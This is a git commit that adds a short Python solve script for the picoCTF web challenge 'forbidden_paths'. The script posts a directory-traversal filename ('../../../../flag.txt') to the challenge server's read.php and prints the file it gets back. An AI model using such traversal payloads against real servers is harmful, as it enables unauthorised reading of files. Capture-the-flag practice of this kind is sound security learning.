web/forbidden_paths

2024-09-05 18:55:30 +02:00 · 2024-09-05 18:55:30 +02:00 · db7fdfaa6c
parent b9f1b23f5c
commit db7fdfaa6c
1 changed files with 23 additions and 0 deletions
--- a/web/forbidden_paths/solve.py
+++ b/web/forbidden_paths/solve.py
@ -0,0 +1,23 @@
+#!/usr/bin/env nix-shell
+#!nix-shell -i python3 -p python3Packages.requests
+# coding: utf-8
+
+import json
+
+import requests
+
+BASE_URL = "http://saturn.picoctf.net:54384/"
+
+def main():
+    r = requests.post(
+        BASE_URL + 'read.php',
+        data = {
+            'filename': "../../../../flag.txt"
+        },
+    )
+    print(r)
+    print(r.text)
+
+if __name__ == '__main__':
+    main()
+